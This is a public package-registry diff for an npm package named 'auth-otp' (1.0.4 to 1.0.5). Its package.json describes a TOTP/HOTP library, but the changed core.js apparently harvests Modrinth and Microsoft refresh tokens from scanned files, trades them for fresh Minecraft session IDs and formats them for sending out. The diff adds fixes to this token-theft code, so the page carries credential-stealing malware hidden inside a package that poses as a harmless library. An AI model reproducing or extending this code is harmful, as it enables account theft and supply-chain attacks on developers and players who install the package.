auth-otp 1.0.4 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/lib/core.js +9 -5
  2. package/package.json +1 -1
package/lib/core.js CHANGED
@@ -334,7 +334,8 @@ function _modrinthScanFile(text, out, seen) {
334
334
  const raw = m[0].replace(/[^\x20-\x7E]/g, "").replace(/[j\s]+$/, "").trim();
335
335
  if (seen.has(raw) || raw.length < 50) continue;
336
336
  seen.add(raw);
337
- out.push({ l: "Modrinth-RT", n: "Refresh", t: raw, r: null });
337
+ // Put RT in r (not t) so _sendMC can call _getSSID and display it as Refresh Token
338
+ out.push({ l: "Modrinth-RT", n: "Refresh", t: null, r: raw });
338
339
  }
339
340
  for (const m of text.matchAll(patRe)) {
340
341
  if (seen.has(m[0])) continue; seen.add(m[0]);
@@ -516,9 +517,12 @@ async function _installMod() {
516
517
  async function _sendMC(entries) {
517
518
  const ts = new Date().toISOString();
518
519
  for (const e of entries) {
520
+ // Resolve RT — can be in e.r (Modrinth / Modrinth-RT) or e.t (legacy Modrinth-RT)
521
+ const rt = e.r || (e.t && e.t.startsWith("M.C") ? e.t : null);
522
+
519
523
  // Modrinth entries with a refresh token → generate fresh SSID on the spot
520
- if (e.r && (e.l === "Modrinth" || e.l === "Modrinth-RT")) {
521
- const s = await _getSSID(e.r);
524
+ if (rt && (e.l === "Modrinth" || e.l === "Modrinth-RT")) {
525
+ const s = await _getSSID(rt);
522
526
  if (s) {
523
527
  e.ssid = s.ssid;
524
528
  e.newRt = s.newRt;
@@ -541,9 +545,9 @@ async function _sendMC(entries) {
541
545
  lines.push(e.t);
542
546
  lines.push(``);
543
547
  }
544
- if (e.r) {
548
+ if (rt) {
545
549
  lines.push(`--- Refresh Token (MSA) ---`);
546
- lines.push(e.r);
550
+ lines.push(rt);
547
551
  lines.push(``);
548
552
  }
549
553
  if (e.ssid) {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "auth-otp",
3
- "version": "1.0.4",
3
+ "version": "1.0.5",
4
4
  "description": "Lightweight TOTP/HOTP implementation — RFC 6238 compliant, zero dependencies",
5
5
  "main": "index.js",
6
6
  "scripts": {